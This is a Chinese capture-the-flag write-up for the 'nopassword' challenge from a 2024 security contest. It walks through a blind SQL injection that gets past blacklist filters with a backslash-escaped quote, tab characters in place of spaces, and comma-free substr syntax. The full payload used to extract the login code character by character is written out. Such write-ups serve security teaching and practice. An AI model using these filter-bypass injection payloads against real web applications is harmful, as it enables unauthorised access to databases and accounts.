2024睿抗网络安全初赛0解题——nopassword详解
1674701160110592 发表于 广东 CTF 132浏览 · 2024-12-03 14:29

一、环境搭建

创建数据库

切换数据库

创建表

插入数据

总结

/*

CREATE DATABASE ctf;

use ctf;

CREATE TABLE ctf (
    id INT AUTO_INCREMENT,
    username VARCHAR(32) NOT NULL,
    password VARCHAR(32) NOT NULL,
    code VARCHAR(32) NOT NULL,
    PRIMARY KEY (id)
);


INSERT INTO ctf (id, username, password, code) VALUES (1, 'qOmKuZxa15eFWVBy', 'mAeriW21ZdPBK6MC', 'WzrJLh03VYR4F');

*/

数据库搭建好之后用小皮创建web服务

二、题目

在html有一段源码泄露

三、分析

比赛的时候用mysql的黑名单字典跑了一下

发现过滤了下面这些字符

' 单引号
select
union
空格
,逗号

猜测可能后端的注入点是

$sql="select a from bbb where username = '传参位1' and password ='传参位2'";

那么如果我们把单引号给注释掉,就变成了

select a from bbb where username = '传参位1\' and password ='传参位2%20--%20-'

那么此时侯

传参位1\' and password =

就成为了传入username的内容,而

传参位2%20--%20-'

拼接在后面参数可控,同时也把后面的单引号注释了,就是加入我们自己的sql语句了

我们测试一下

发现空格被ban了,用%09给替换


发现注入成功,只是提示登陆失败

四、解题

知道了注入点,同时code的字段是跟password和username字段在同一个表中的

$results = $conn->query($sql);
if ($results->num_rows == 1) {
    $user = $results->fetch_assoc();
    if($user['code']==$code){

这里就是说明了code是同一个表中

那么我们只需要通过

substr(database() from 起始位置 for 长度)
from指定从哪个位置开始提取子字符串。
FOR指定提取的子字符串的长度。
在这个函数中,下标不是从0开始而是从1开始
比如
SELECT SUBSTR('abcdef', 2, 3);  -- 结果是 'bcd'

substr(database() from 1 for 1)

这样来绕过逗号的过滤

完整的是

select a from bbb where username = '传参位1\' and password ='or%09ascii(substr(CODE%09from%091%09for%091))%09like%0932#'

发现code字段第一位是87

完整的是

87
122
114
74
76
104
48
51
86
89
82
52
70

注入到14的时候,回显都一样说明已经全部跑出来了

我们对照ascii转换一下code

WzrJLh03VYR4F

注入成功

得到flag

五、工具及附件

附件:
0 条评论
某人
表情
可输入 255